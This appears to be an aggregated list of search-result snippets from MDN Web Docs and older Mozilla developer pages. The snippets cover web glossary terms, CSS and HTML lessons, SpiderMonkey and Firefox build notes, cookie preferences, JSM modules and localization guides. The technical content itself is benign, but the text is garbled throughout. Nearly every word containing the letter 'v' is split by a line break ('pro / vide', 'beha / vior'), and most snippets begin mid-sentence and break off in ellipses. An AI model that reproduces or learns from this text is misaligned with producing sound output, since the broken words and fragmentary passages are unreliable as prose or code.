you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and mo
ving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
...however, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework does not pro
vide, you will need some pure javascript knowledge.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
the term asynchronous refers to two or more objects or events not existing or happening at the same time (or multiple related things happening without waiting for the pre
vious one to complete).
...and both sides can continue to send and receive messages whenever they wish, instead of ha
ving to schedule them around each other.
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
a breadcrumb, or breadcrumb trail, is a na
vigational aid that is typically placed between a site's header and the main content, displaying either a hierarchy of the current page in relation to the the site's structure, from top level to current page, or a list of the links the user followed to get to the current page, in the order
visited.
...this type of na
vigation, if done correctly, helps users know where they are in a site and how they got there.
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
by definition, this is the physical size of a single pixel at a pixel density of 96 dpi, located an arm's length away from the
viewer's eyes.
...in other words, if the user is on a phone with a pixel density of 266 dpi, and an element is placed on the screen with a width of 96px, the actual width of the element would be 266 de
vice pixels.
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
a codec (a blend word derived from "coder-decoder") is a program, algorithm, or de
vice that encodes or decodes a data stream.
... learn more general knowledge codec on wikipedia technical reference web
video codec guide web audio codec guide guide to media types and formats on the web ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the term delta is commonly used when communicating changes in speed, position, or acceleration of a physical or
virtual object.
... likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved pre
vious condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
gecko is the layout engine developed by the mozilla project and used in many apps/de
vices, including firefox and firefox os.
...this means that gecko includes, among other things, a networking stack, graphics stack, layout engine, a javascript
virtual machine, and porting layers.
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
brief history in 1990, as part of his
vision of the web, tim berners-lee defined the concept of hypertext, which berners-lee formalized the following year through a markup mainly based on sgml.
... you can extend html tags with attributes, which pro
vide additional information affecting how the browser interprets the element: an html file is normally saved with an .htm or .html extension, served by a web server, and can be rendered by any web browser.
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
http is textual (all communication is done in plain text) and stateless (no communication is aware of pre
vious communications).
...however, http can also be used as a basis for rest web ser
vices from server to server or ajax requests within web sites to make them more dynamic.
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
http/2 is a major re
vision of the http network protocol.
... the primary goals for http/2 are to reduce latency by enabling full request and response multiplexing, minimize protocol overhead
via efficient compression of http header fields, and add support for request prioritization and server push.
Houdini - MDN Web Docs Glossary: Definitions of Web-related terms
houdini is a set of low level apis that give developers the power to extend css, pro
viding the ability to hook into the styling and layout process of a browser’s rendering engine.
... while many of the features houdini enables can be created with javascript, interacting directly with the cssom before javascript is enabled pro
vides for faster parse times.
I18N - MDN Web Docs Glossary: Definitions of Web-related terms
i18n (from "internationalization", a 20-letter word) is the best practice that enables products or ser
vices to be readily adapted to any target culture.
...(the w3c definition) among other things, i18n requires support for multiple character sets (usually
via unicode) units of measure (currency, °c/°f, km/miles, etc.) time and date formats keyboard layouts text directions learn more general knowledge i18n on wikipedia technical reference i18n on w3c i18n on gala-global.org learn about it i18n material on i18nguy.com ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
the content attribute is the attribute as you set it from the content (the html code) and you can set it or get it
via element.setattribute() or element.getattribute().
...for example, the default type for <input> elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the beha
vior) but the "type" content attribute's value will be "foobar".
ISP - MDN Web Docs Glossary: Definitions of Web-related terms
an isp (internet ser
vice pro
vider) sells internet access, and sometimes email, web hosting, and voice over ip, either by a dial-up connection over a phone line (formerly more common), or through a broadband connection such as a cable modem or dsl ser
vice.
... learn more general knowledge how the internet works (explanation for beginners) internet ser
vice pro
vider on wikipedia ...
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
in the internet age, the itu's role of establishing standards for
video and audio data formats used for streaming, teleconferencing, and other purposes.
... for example, the itu and the mo
ving picture experts group (mpeg) worked together to develop and publish, as well as to maintain, the various mpeg specifications, such as mpeg-2 (itu h.262), avc (itu h.264), and hevc (itu h.265).
Mixin - MDN Web Docs Glossary: Definitions of Web-related terms
a mixin is a class or interface in which some or all of its methods and/or properties are unimplemented, requiring that another class or interface pro
vide the missing implementations.
... for example, the windoworworkerglobalscope mixin is used to pro
vide methods and properties that need to be available on both the window and workerglobalscope interfaces.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
(you can make a variable name point to a new value, but the pre
vious value is still held in memory.
... on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space pre
viously created memory space is now available for garbage collection.
Native - MDN Web Docs Glossary: Definitions of Web-related terms
a native application has been compiled to run on the hardware/software en
vironment that comprises the targeted architecture.
... on the other hand, a web app that runs inside a browser is not native — it is run in the web browser, which sits on top of the native en
vironment, not the native en
vironment itself.
P2P - MDN Web Docs Glossary: Definitions of Web-related terms
p2p (peer-to-peer) is a computer networking architecture in which all participating nodes (peers) have equal pri
vileges and share the workload.
... p2p differs from a client-server network architecture, where multiple client nodes connect to centralized servers for ser
vices.
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
a polyfill is a piece of code (usually javascript on the web) used to pro
vide modern functionality on older browsers that do not natively support it.
...at the time, javascript developers were grasping at straws trying to get their website to work across all de
vices because there was such a discrepancy between browsers that the website might have to be programmed radically differently and have a much different user interface based upon the user's browser.
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
progressive enhancement is a design philosophy that pro
vides a baseline of essential content and functionality to as many users as possible, while delivering the best possible experience only to users of the most modern browsers that can run all the required code.
...acceptable alternatives should be pro
vided where possible.
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state, this should not enable the attacker to work out pre
viously emitted numbers.
... crypto.getrandomvalues(): this is intended to pro
vide cryptographically secure numbers.
SDP - MDN Web Docs Glossary: Definitions of Web-related terms
sdp contains the codec, source address, and timing information of audio and
video.
... here is a typical sdp message: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=
video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=
video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 sdp is never used alone, but by protocols like rtp and rtsp.
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document
via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
... this therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement na
vigation, and do meaningful performance monitoring.
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
time to interactive (tti) is a non-standardized web performance 'progress' metric defined as the point in time when the last long task finished and was followed by 5 seconds of network and main thread inacti
vity.
... tti, proposed by the web incubator community group in 2018, is intended to pro
vide a metric that describes when a page or application contains useful content and the main thread is idle and free to respond to user interactions, including ha
ving event handlers registered.
Type - MDN Web Docs Glossary: Definitions of Web-related terms
types also pro
vides us with useful knowledge about the comparison between different values.
... comparison between structured types is not always an easy assumption, as even if the pre
vious data structure is the same, there could be inherited structures inside of the prototype chain.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (url) is a text string that specifies where a resource (such as a web page, image, or
video) can be found on the internet.
... learn more general knowledge url on wikipedia learn about it understanding urls and their structure specification the syntax of urls is defined in the url li
ving standard.
UX - MDN Web Docs Glossary: Definitions of Web-related terms
its goal is to make a system easy to interact with from the user's point of
view.
...ux studies undertaken on a web page for example can demonstrate whether it is easy for users to understand the page, na
vigate to different areas, and complete common tasks, and where such processes could have less friction.
WebVTT - MDN Web Docs Glossary: Definitions of Web-related terms
webvtt (web
video text tracks) is a w3c specification for a file format marking up text track resources in combination with the html <track> element.
... webvtt files pro
vide metadata that is time-aligned with audio or
video content like captions or subtitles for
video content, text
video descriptions, chapters for content na
vigation, and more.
Whitespace - MDN Web Docs Glossary: Definitions of Web-related terms
in html html li
ving standard specifies 5 characters as the ascii whitespace: u+0009 tab, u+000a lf, u+000c ff, u+000d cr, and u+0020 space.
... in the form of text, they are treated as normal space characters and sequential whitespaces are collapsed as a single space in many cases (this beha
vior can be changed by the white-space css property.
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
if an application context is created as a result of the user agent being asked to na
vigate to a deep link, the user agent must immediately na
vigate to the deep link with replacement enabled.
... otherwise, when the application context is created, the user agent must immediately na
vigate to the start url with replacement enabled.
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
it compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, pro
viding a compression ratio comparable to the best currently available general-purpose compression methods.
... brotli pro
vides better compression ratios than gzip and deflate speeds are comparable, but brotli compressing is a slower process than gzip compression, so gzip may be a better option for the compression of non-cachable content.
caret - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge caret na
vigation on wikipedia css related to the caret you can set the color of the caret for a given element's editable content by setting the element's css caret-color property to the appropriate <color> value.
... html elements that may present a caret these elements pro
vide text entry fields or boxes and therefore make use of the caret.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html li
ving standardthe definition of 'origin' in that specification.
... li
ving standard learn more see same-origin policy for more information.
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
with prerendering, the content is prefetched and then rendered in the background by the browser as if the content had been rendered into an in
visible separate tab.
... when the user na
vigates to the prerendered content, the current content is replaced by the prerendered content instantly.
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
the user agent string can be accessed with javascript on the client side using the na
vigator.useragent property.
... learn more general knowledge user agent on wikipedia technical reference na
vigator.useragent browser detection using the user agent rfc 2616: 14.43: the user-agent header ...
Advanced styling effects - Learn web development
this article acts as a box of tricks, pro
viding an introduction to some interesting advanced styling features such as box shadows, blend modes, and filters.
... when the button is pressed in, the active state causes the first box shadow to be swapped for a very dark inset shadow, gi
ving the appearance of the button being pressed in.
Creating fancy letterheaded paper - Learn web development
add a background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the pre
vious backgrounds that gives the letter a bit of texture.
... add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the pre
vious declaration.
Test your skills: Overflow - Learn web development
test by remo
ving some of the text from the html, that if there is only a small amount of text that does not overflow, no scrollbar appears.
... task two in this task an image is in the box, it is bigger than the dimensions of the box so overflows
visibly.
Test your skills: Selectors - Learn web development
style links, making the link-state orange,
visited links green, and remove the underline on hover.
... stripe every other row in the table by selecting these rows and gi
ving them a background color of #333 and foreground of white.
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css backgrounds and borders using the skills you have learned in the pre
vious lesson.
... make sure that the heading text does not overlay the image, and that it is centered — you will need to use techniques learned in pre
vious lessons to achieve this.
Using your new knowledge - Learn web development
pre
vious over
view: first steps with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them.
... pre
vious over
view: first steps in this module what is css?
Use CSS to solve common problems - Learn web development
the following links pro
vide solutions to common problems you may face when working with css.
... common use cases basics how to apply css to the dom how to use whitespace in css how to write comments in css how to select elements
via element name, class or id how to select elements
via attribute name and content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and inline-block?
Styling text - Learn web development
note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin, codepen or glitch.
... styling links when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as na
vigation menus and tabs.
HTML Cheatsheet - Learn web development
mdn pro
vides you with an extended html documentation as well as a deep instructional html how-to.
... embedded
video <
video controls src="https://udn.realityripple.com/samples/1f/6cc66528b8.mp4">the <code>
video</code> element is unsupported.</
video> the
video element is unsupported.
Test your skills: HTML text basics - Learn web development
html text basics 1 in this task we want you to mark up the pro
vided html using semantic heading and paragraph elements.
... html text basics 3 in this task you are pro
vided with a paragraph, and your aim is to use some inline elements to mark up a couple of appropriate words with strong importance, and a couple with emphasis.
Test your skills: Conditionals - Learn web development
conditionals 1 in this task you are pro
vided with two variables: season — contains a string that says what the current season is.
...this score is fed into the answer machine, which pro
vides a response to indicate how well you did.
Test your skills: Math - Learn web development
math 2 in the second task you are already pro
vided with two calculations, with the results stored in the variables result and result2.
...go back and update the original calculations you were pro
vided with so that they give this final result.
Web APIs: Mozilla-specific documents
in the pages listed here, we pro
vide mozilla-specific documents about standard web apis.
... this includes notes about any firefox-only features, or about any experiments or other de
viations from the specification that may exist in mozilla code.
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by mo
ving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application.
... inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings from some
virus protection software.
Adding a new word to the en-US dictionary
the script only works if you have the en
vironment variable editor set to the executable of an editor program; if you don't have it set, you can do editor=
vim sh edit-dictionary to edit using
vim (or you can substitute some other editor), or you can just do sh edit-dictionary if you have an editor already specified.
... move the re
vised dictionary file into position: mv en-us.dic ..
Android-specific test suites
these tests are local — they run on your development machine and do not require an android de
vice or android emulator.
...they should always be preferred to on-de
vice robocop tests.
Building SpiderMonkey with UBSan
/bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then echo "directory $1 already exists" else autoconf2.13 autoconf213 mkdir $1 cd $1 llvm_root="$home/llvm" sanflag="-fsanitize=undefined -fno-sanitize=alignment,float-cast-overflow,float-di
vide-by-zero,vptr -dxmalloc=myxmalloc" \ cc="$llvm_root/build/release+asserts/bin/clang" \ cxx="$llvm_root/build/release+asserts/bin/clang++" \ cflags="$sanflag" \ cxxflags="$sanflag" \ moz_llvm_hacks=1 \ ../configure --enable-debug --disable-optimize make -j 8 fi 3.
...this enables all the cheap undefined beha
vior checks other than: alignment, which hits known bugs in spidermonkey, and is more implementation-defined (slow on x86 / crash on arm) than undefined beha
vior float-cast-overflow, which hits known bugs in spidermonkey, and isn't exploited by today's compilers float-di
vide-by-zero, which jesse doesn't think is actually undefined beha
vior (aside from the question of whether cpu overflow flags are set) vptr, a check that requires rtti, which is disabled by default in spidermonkey 4.
Cookies Preferences in Mozilla
network.cookie.cookiebeha
vior default value: 0 0 = accept all cookies by default 1 = only accept from the originating site (block third party cookies) 2 = block all cookies by default 3 = use p3p settings (note: this is only applicable to older mozilla suite and seamonkey versions.) 4 = storage access policy: block cookies from trackers network.cookie.lifetimepolicy default value: 0 0 = accept cookies normally 1 = prompt for each cookie (prompting was removed in firefox 44) 2 = accept for current session only 3 = accept for n days network.cookie.lifetime.days default v...
...(the old prefs are network.cookie.lifetime.enabled, network.cookie.lifetime.beha
vior, and network.cookie.warnaboutcookies.) true = prefs have been migrated false = migrate prefs on next startup original document information author(s): mike connor last updated date: may 22, 2004 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Creating JavaScript callbacks in components
in fact, there is even a specific interface for this form of push callbacks, nsiobserverser
vice.
...using javascript functions as callback handlers for components can be a nice convenience to developers and there is
virtually zero work to expose the feature.
Creating a Firefox sidebar
web publishers can offer
visitors a firefox sidebar to encourage their engagement.
...there is a wide range of extensions available, and some of them pro
vide a sidebar.
Debugging JavaScript
under microsoft windows you additionally need to start firefox
via the following command to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject().
...in extensions you can print the callstack using components.stack like this: function getstackdump() { var lines = []; for (var frame = components.stack; frame; frame = frame.caller) { lines.push(frame.filename + " (" + frame.linenumber + ")"); } return lines.join("\n"); } see also debugging mozilla with gdb setting up an extension development en
vironment (particularly development preferences and development extensions) original document information author(s): ben bucksch created date: september 12, 2005, last updated date: november 10, 2009 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Debugging
fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have de
vised tips and techniques that can help too.
... miscellaneous debugging safari some tips for debugging safari debugging chrome some tips for debugging chrome debugging internet explorer some tips for debugging internet explorer pro
viding useful information to the mozilla developers how to get a stacktrace for a bug report useful information you can pro
vide about a crash.
Building Firefox with Debug Symbols
this value takes precedence over the flags set in moz_debug_flags note that this will override the values pro
vided for cflags and cxxflags.
...see https://dxr.mozilla.org/mozilla/source/toolkit/crashreporter/tools/upload_symbols.sh for more information about the en
vironment variables used by this target.
Makefiles - Best practices and suggestions
any acti
vity within a directory will alter inodes forcing targets to always be stale.
... for ex, indi
vidual unit tests would invalidate all prior test acti
vity whenever a test touched a timestamp file in the directory to signal success.
Interface development guide
xpcom interfaces define classes that are implemented to pro
vide key functionality in the mozilla platform.
... community
view mozilla embedding forums...
Runtime Directories
default application installation and user profile directories firefox os application directory user profile directory temporary directory windows
vista/7 c:\program files\mozilla firefox\ c:\users\<username>\appdata\roaming\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\users\<username>\appdata\local\mozilla\firefox\ (or %localappdata%\mozilla\firefox) and c:\users\<username>\appdata\local\
virtualstore\program files\mozilla firefox\ windows 2000/xp c:\program files\mozilla firefox\ c:\documents and settings\<username>\application data\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\documents and settings\<username>\local settings\application data\mozilla\firefox\ os x /applications/firefox.app ...
... ~/.mozilla/firefox/xxxxxxxx.default/ n/d thunderbird os application directory user profile directory temporary directory windows
vista/7 c:\program files\mozilla thunderbird\ c:\users\<username>\appdata\roaming\thunderbird\ (or %appdata%\thunderbird\) c:\users\<username>\appdata\local\thunderbird\ (or %localappdata%\thunderbird\) and c:\users\<username>\appdata\local\
virtualstore\program files\mozilla thunderbird\ windows 2000/xp c:\program files\mozilla thunderbird\ c:\documents and settings\<username>\application data\thunderbird\ (or %appdata%\thunderbird\) c:\docu...
Index
10 firefox ui considerations for web developers acti
vity stream, firefox, icons, mozilla, new tab, newtab, ui, web, web development, fa
vicon there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to
visit or a site to manage in some way.
... one example is the new tab page, which includes a "top sites" section showing sites you
visit that firefox thinks you're likely to want to
visit again, as well as potentially some sites that have been pinned to always appear in that space.
Communicating with frame scripts
an xpcom component), you can access the window of the browser that sent the message with message.target.ownerdocument.default
view.
...when the message managers disconnect (for example because the user closed the tab): function myobserver() { } myobserver.prototype = { observe: function(subject, topic, data) { var index = messagemanagers.indexof(subject); if (index != -1) { console.log("one of our message managers disconnected"); mms.splice(index, 1); } }, register: function() { var observerser
vice = cc["@mozilla.org/observer-ser
vice;1"] .getser
vice(ci.nsiobserverser
vice); observerser
vice.addobserver(this, "message-manager-disconnect", false); console.log("listening"); }, unregister: function() { var observerser
vice = cc["@mozilla.org/observer-ser
vice;1"] .getser
vice(ci.nsiobserverser
vice); observerser
vice.removeobs...
Message manager
message managers pro
vide a way for chrome-pri
vileged javascript code to communicate across process boundaries.
... guides message manager over
view frame script loading and lifetime communicating with frame scripts performance best practices frame script en
vironment limitations of frame scripts process scripts api reference nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsicontentframemessagemanager nsiprocesss...
Multiprocess Firefox
this page is an informal index of leftovers, mostly revol
ving around the message manager and the related cross process object wrappers.
... cross process object wrappers cross process object wrappers are a migration aid, gi
ving chrome code synchronous access to web content.
Security best practices for Firefox front-end engineers
existing security controls sanitizing all strings that enter the dom through apis such as innerhtml when running system-pri
vileged chrome code, we sanitize all html fragments that are created for chrome-pri
vileged documents.
...developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${url}'>about</a>`; in system-pri
vileged chrome code, any kind of remaining scripts will still be removed by our sanitizer.
HTMLIFrameElement.executeScript()
note: use of the browser api requires a pri
vileged app, and browser and/or embed-apps permissions, depending on what you want to do.
... options optional optionally, you can pro
vide an origin or url for the script to be executed against.
HTMLIFrameElement.findNext()
the findnext() method of the htmliframeelement highlights the next or pre
vious instance of a search result after a findall() search has been carried out.
... note: use of the browser api requires a pri
vileged app, and browser and/or embed-apps permissions, depending on what you want to do.
HTMLIFrameElement.getScreenshot()
parameters maxwidth a number representing the maximum width of the screenshot in de
vice pixels.
... maxheight a number representing the maximum height of the screenshot in de
vice pixels.
mozbrowsericonchange
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the url of the new fa
vicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsermetachange
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...this can be
viewmode, theme-color, theme-group, or application-name.
HTMLIframeElement.removeNextPaintListener()
the removenextpaintlistener() method of the htmliframeelement interface is used to remove a handler pre
viously set with the addnextpaintlistener method.
... parameters listener a function handler pre
viously set with addnextpaintlistener.
MozBeforePaint
limiting the frame rate avoids wasting work, thereby sa
ving cpu usage and power and impro
ving overall system performance.
... example this example performs a simple animation, mo
ving a box a short distance after a short period of time.
Chrome-only Events reference
this page lists events that are only available in gecko chrome code (and sometimes in other pri
vileged circumstances, eg.
... mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document
view has been scrolled or resized.
Gecko Chrome
chrome-only api referencethis page lists apis that only run in gecko chrome code (and sometimes in other pri
vileged circumstances.)chrome-only css referencethis page lists css properties that are only available in gecko chrome code (and sometimes in other pri
vileged circumstances, eg.
... ua stylesheets.) chrome-only events referencethis page lists events that are only available in gecko chrome code (and sometimes in other pri
vileged circumstances, eg.
Gecko SDK
that's the reason why the gecko sdk was de
vised.
...also, you can
view the schedule on the web.
Hacking with Bonsai
the original na
vigator code base had large sections that were shared across multiple platforms.
...there is a web page, which records if the tree is open or closed what the date stamp of the last known good tree is who is on the hook for the current tree before the tree is opened, the list of checkins that happened when the tree was closed is re
viewed to insure that only build related checkins took place.
How to get a stacktrace for a bug report
a stacktrace will tell mozilla developers what crashed and pro
vide a starting point for investigating its cause.
... if you want breakpad to leave the .dump and .extra files on your computer so that you can examine them locally, then set the moz_crashreporter_no_delete_dump en
vironment variable to 1.
IPDL Best Practices
this document is intended to help correct these before the formal re
view process is initiated.
...when to run code here's a rundown on appropriate places to run certain kinds of code: manager::allocpprotocol - allocation manager::recvpprotocolconstructor - initialization, protocol deletion (the typeaheadfind protocol uses one-shot protocols like this) actor::recv__delete__ - cleanup, ipdl calls still valid but ill-ad
vised actor::actordestroy - non-ipdl cleanup manager::deallocpprotocol - deallocation one construct to avoid: class protocolparent { public: ~protocolparent() { send__delete__(this); } }; class protocolmanagerparent { public: pprotocolparent* allocpprotocol() { return new protocolparent(); } bool deallocpprotocol() { return true; } }; nsautopt...
Creating a New Protocol
to
view the generated headers, look in objdir/ipc/ipdl/_ipdlheaders .
...it must implement abstract methods for recei
ving the appropriate messages on each side.
Implementing Download Resuming
resuming a download in order to resume a download, you should create a channel as usual (using nsiioser
vice).
...otherwise, call resumeat with the desired start position, and the pre
viously stored entity id.
AddonType
built-in values: value category 2000 locale 4000 extension 5000 theme 6000 plugin
viewtype integer the type of ui to use to display this type of add-on in the ui.
... flags integer additional beha
vior flags for the type.
UpdateListener
for each indi
vidual update check, the following methods will be called on the listener: either oncompatibilityupdateavailable() or onnocompatibilityupdateavailable(), depending on whether compatibility information for the requested application version was seen.
... method over
view void oncompatibilityupdateavailable(in addon addon) void onnocompatibilityupdateavailable(in addon addon) void onupdateavailable(in addon addon, in addoninstall install) void onnoupdateavailable(in addon addon) void onupdatefinished(in addon addon, in integer error) methods oncompatibilityupdateavailable() called when the update check found compatibility information for the application and platform version that the update check was being performed for.
Add-on Manager
addonmanager.getstartupchanges(addonmanager.startup_change_disabled); if (addonids.length > 0) { // addonids is now an array of the add-on ids that have been disabled alert("note: " + addonids.length + " add-ons have been disabled."); } open add-on manager tab the add-on manager tab can be opened programatically with the function browseropenaddonsmgr which is available on chrome window of "na
vigator:browser" type.
...these pages show you how to load pages such as ser
vices page etc.
DownloadTarget
method over
view promise refresh() properties attribute type description exists read only boolean indicates whether or not the target file exists.
...it currently indicates the size of the main file (such as the html document) rather than the sum of all of the files' sizes, but you must not rely upon this beha
vior, as it is subject to change.
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module pro
vides a way to fetch firefox accounts profile information.
...components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method over
view fetchprofile(); attributes serverurl url profiler server url.
ISO8601DateUtils.jsm
the iso8601dateutils.jsm javascript code module pro
vides methods that make it easy to convert javascript date objects into iso 8601 format date strings and back.
...using the iso 8601 date utilities to convert a date string into a date object, simply use: dateobj = iso8601dateutils.parse(datestring); to convert a date object into a date string: datestring = iso8601dateutils.create(dateobj); method over
view string create(adate); date parse(adatestring); methods create creates an iso 8601 format date string, e.g.
PromiseUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method over
view deferred defer(); methods defer() creates a new pending promise and pro
vides methods to resolve or reject this promise.
... this method was pre
viously implemented as promise.defer(), which is obsolete since gecko 30.
Task.jsm
method over
view function async(atask); promise spawn(atask); properties attribute type description result read only constructor constructs a special exception that, when thrown inside a legacy generator function, allows the associated task to be resolved with a specific value.
... async() simplifies the common pattern of implementing a method
via a task, like this simple object with a greet method that has a name parameter and spawns a task to send a greeting and return its reply: let greeter = { message: "hello, name!", greet: function(name) { return task.spawn((function* () { return yield sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: le...
Webapps.jsm
importing components.utils.import("resource://gre/modules/webapps.jsm"); // exported symbol is domapplicationregistry method over
view init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: func...
...tion() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createacti
vitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeracti
vitiesforapps: function(aappstoregister, arunupdate) _registeracti
vities: function(amanifest, aapp, arunupdate) _createacti
vitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteracti
vitiesforapps: function(aappstounregister) _unregisteracti
vities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) ...
Encodings for localization files
installer the windows installer can’t handle utf-8, but only the codepages pro
vided by windows.
... cp1252 0 baltic_charset cp1257 186 chinesebig5_charset cp950 136 easteurope_charset cp1250 238 gb2312_charset cp936 134 greek_charset cp1253 161 hangul_charset cp949 129 russian_charset cp1251 204 shiftjis_charset cp932 128 turkish_charset cp1254 162
vietnamese_charset cp1258 163 middle east language editions of windows: arabic_charset cp1256 178 hebrew_charset cp1255 177 thai language editions of windows: thai_charset cp874 222 ...
L10n Checks
the easiest way is to just run: $ hg clone http://hg.mozilla.org/users/akalla_a
viary.pl/silme-patched/ $ cd silme-patched/ $ sudo python setup.py install or, if you're on windows: $ hg clone http://hg.mozilla.org/users/akalla_a
viary.pl/silme-patched/ $ cd silme-patched/ $ python setup.py install running it mercurial source (source) mode l10n checks gathers the directories to compare from an ini file, usually found in $app/locales/l10n.ini.
...the output closes with a summary, gi
ving the total counts of missing and obsolete strings and some statistics on how many strings are changed or not, excluding access and command keys.
Localization quick start guide
we will take you through the steps to get started, from the initial en
vironment setup to testing and releasing your own localization.
...
visit the l10n process page to learn about the whole process.
Creating localizable web content
happens for things like faq, or
video pages for example.
... for
video, use the code to display the
video in an overlayed
video player on the page instead of linking to a
video section in english.
Web Localizability
the documentation is di
vided into 4 parts: how to create localizable content.
...by re
viewing your content and code for l12y, you will find and fix bugs in your original language too.
What every Mozilla translator should know
